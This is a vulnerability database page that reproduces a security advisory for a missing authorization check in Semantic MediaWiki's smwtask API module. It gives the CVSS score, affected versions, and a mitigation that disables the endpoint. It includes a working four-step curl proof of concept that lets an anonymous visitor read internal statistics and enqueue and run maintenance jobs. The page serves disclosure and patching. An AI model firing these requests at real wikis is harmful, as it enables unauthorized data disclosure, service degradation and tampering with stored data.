GHSA-JR78-W6W5-M8F8

Vulnerability from github – Published: 2026-09-18 16:59 – Updated: 2026-09-18 16:59
VLAI
Summary
Semantic MediaWiki'a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks
Details

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

  • needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
  • mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

  • table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
  • insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
  • update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

  • Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
  • Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
  • Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};
Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.2.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/semantic-media-wiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "7.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T16:59:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `api.php?action=smwtask` API module performs no authorization check. The equivalent maintenance interface in the web UI (`Special:SMWAdmin`) requires the `smw-admin` right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.\n\n### Details\n\n`SMW\\MediaWiki\\Api\\Task::execute()` (`src/MediaWiki/Api/Task.php`) reads the request parameters, resolves a task through `TaskFactory`, and runs it. It contains no permission check \u2014 no `smw-admin`, no `checkUserRightsAny()`, no per-task right.\n\nThe only gates on the module are:\n\n- `needsToken( \u0027csrf\u0027 )` \u2014 this is **not** authorization. MediaWiki issues anonymous users a fixed, public CSRF token (`+\\`), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.\n- `mustBePosted()` / `isWriteMode()` \u2014 do not gate on group membership.\n\nBy contrast, `Special:SMWAdmin` restricts access via `parent::__construct( \u0027SMWAdmin\u0027, \u0027smw-admin\u0027 )` and raises `PermissionsError` when the `smw-admin` right is absent. The API path bypasses that restriction entirely.\n\nTasks reachable anonymously through the module include:\n\n- `table-statistics`, `duplicate-lookup` \u2014 return internal store statistics and enumerate the internal object-ID space (intended to be behind `Special:SMWAdmin` \u2192 Supplementary functions).\n- `insert-job` \u2014 enqueues any Semantic MediaWiki job type (including `smw.fulltextSearchTableRebuild`, `smw.propertyStatisticsRebuild`, `smw.entityIdDisposer`) for an arbitrary title.\n- `update`, `check-query`, `run-joblist` \u2014 run update jobs and `#ask` queries synchronously within the request; `run-joblist` pops and executes queued jobs inline.\n\nBecause the read tasks disclose the internal object-ID space and `insert-job` can enqueue `smw.entityIdDisposer` with a specific `id` parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.\n\n### Proof of concept\n\nOn a default installation, as an unauthenticated visitor:\n\n```\n# 1. Obtain the anonymous CSRF token (the fixed public value \"+\\\")\ncurl -s \u0027https://HOST/api.php?action=query\u0026meta=tokens\u0026type=csrf\u0026format=json\u0027\n#   -\u003e {\"query\":{\"tokens\":{\"csrftoken\":\"+\\\\\"}}}\n\n# 2. Read internal database statistics \u2014 HTTP 200 with the data\ncurl -s -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-raw \u0027action=smwtask\u0026task=table-statistics\u0026params={}\u0026token=%2B%5C\u0026format=json\u0027 \\\n  \u0027https://HOST/api.php\u0027\n#   -\u003e {\"task\":{\"list\":{\"smw_object_ids\":{\"total_row_count\":49,\"last_id\":516,...\n\n# 3. Enqueue a maintenance job (state-changing)\ncurl -s --data-urlencode \u0027action=smwtask\u0027 --data-urlencode \u0027task=insert-job\u0027 \\\n  --data-urlencode \u0027params={\"subject\":\"Main_Page#0##\",\"job\":\"smw.fulltextSearchTableRebuild\",\"parameters\":{\"mode\":\"full\"}}\u0027 \\\n  --data-urlencode \u0027token=+\\\u0027 --data-urlencode \u0027format=json\u0027 \u0027https://HOST/api.php\u0027\n#   -\u003e {\"task\":{\"done\":\"\"}}   (job now present in the queue)\n\n# 4. Execute queued jobs synchronously in the anonymous request\ncurl -s --data-urlencode \u0027action=smwtask\u0027 --data-urlencode \u0027task=run-joblist\u0027 \\\n  --data-urlencode \u0027params={\"subject\":\"Main_Page#0##\",\"jobs\":{\"smw.fulltextSearchTableRebuild\":1}}\u0027 \\\n  --data-urlencode \u0027token=+\\\u0027 --data-urlencode \u0027format=json\u0027 \u0027https://HOST/api.php\u0027\n#   -\u003e {\"task\":{\"done\":\"\",\"log\":{\"smw.fulltextSearchTableRebuild\":[\"Main_Page\"]}}}\n```\n\nReproduced on `master` against a default install, with the requester confirmed anonymous (`action=query\u0026meta=userinfo` returned `{\"id\":0,\"anon\":\"\"}`).\n\n### Impact\n\nAn unauthenticated attacker can:\n\n- Retrieve internal Semantic MediaWiki database statistics \u2014 row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics \u2014 and enumerate the internal object-ID space.\n- Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, `#ask` queries, and queued jobs, degrading wiki performance.\n- Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.\n\nPractical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.\n\n### Affected versions\n\nAll releases that ship the `smwtask` API module (introduced in 3.x) up to and including the current release.\n\n### Mitigation\n\nUpgrading to 7.3.0+ or apply a local patch in `localSettings.php` to disable the endpoint if you can\u0027t update:\n```php\n$wgExtensionFunctions[] = static function () {\n      unset( $GLOBALS[\u0027wgAPIModules\u0027][\u0027smwtask\u0027] );\n};\n```",
  "id": "GHSA-jr78-w6w5-m8f8",
  "modified": "2026-09-18T16:59:31Z",
  "published": "2026-09-18T16:59:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-jr78-w6w5-m8f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Semantic MediaWiki\u0027a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.